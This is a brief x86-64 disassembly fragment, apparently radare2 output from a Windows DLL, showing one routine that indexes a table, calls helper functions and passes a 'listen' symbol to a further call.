mov rbx, qword [0x1801fbfa0]
mov rcx, rdi
mov qword [rsp + 0x38], rsi
mov r8, qword [rbx + 0x3e88]
movsxd rax, dword [r8 + 0xd0]
mov r8, qword [r8 + 0xd8]
mov r8d, dword [r8 + rax*4 - 4]
call fcn.180019ad0
cmp dword [rbx + 0x3ebc], eax
mov esi, eax
mov rbx, qword [rsp + 0x30]
jne 0x18004ec0f
mov r8, rdi
mov edx, listen
mov ecx, eax
call fcn.18002de50
mov eax, esi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret